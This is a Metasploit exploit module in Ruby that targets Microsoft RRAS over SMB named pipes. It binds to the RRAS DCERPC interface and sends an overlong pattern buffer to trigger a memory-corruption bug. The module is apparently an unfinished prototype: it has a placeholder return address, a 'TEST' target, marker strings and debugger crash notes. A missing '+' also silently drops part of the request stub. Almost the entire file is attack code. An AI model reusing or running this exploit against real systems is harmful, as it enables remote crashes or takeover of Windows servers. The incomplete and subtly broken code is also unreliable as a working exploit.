metasploit-framework/modules/exploits/windows/smb/rras_magic.rb

112 lines
2.2 KiB
Ruby

require 'msf/core'
module Msf
class Exploits::Windows::Smb::RRAS_MAGIC < Msf::Exploit::Remote
include Exploit::Remote::DCERPC
include Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft RRAS Magic',
'Description' => %q{
New bug.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 2000 TEST',
{
'Ret' => 0x01020304,
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 14 2006'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (router, srvsvc)", 'router']),
], self.class)
end
def exploit
connect()
smb_login()
handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# 0 - 6bd13c26 8b860c020000 mov eax,[esi+0x20c] ds:0023:0000020c=????????
# RMprAdminServerGetInfo
# 1 - 6bd13908 83b91c02000000 cmp dword ptr [ecx+0x21c],0x0 ds:0023:0000021c=????????
# RRasAdminConnectionEnum
# 2 - 6bd1392c 8b9088090000 mov edx,[eax+0x988] ds:0023:00000988=????????
# RRasAdminConnectionGetInfo
# 40 -
# RRouterInterfaceSetCredentialsEx
pat = Rex::Text.pattern_create(4000)
pat[2436, 4] = [-1].pack('V')
pat[2464, 4] = "DOOT"
pat[2440, 4] = "REET"
pat[800, 4] = "ABCD"
pat[520, 4] = [3].pack('V')
# [2436] + &[800] + 0x
stb =
NDR.long(2) +
NDR.long(0) +
NDR.string(pat)
NDR.long(0x12345678)
begin
dcerpc.call(0x0c, stb)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_status("No response")
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
# Cleanup
handler
disconnect
end
end
end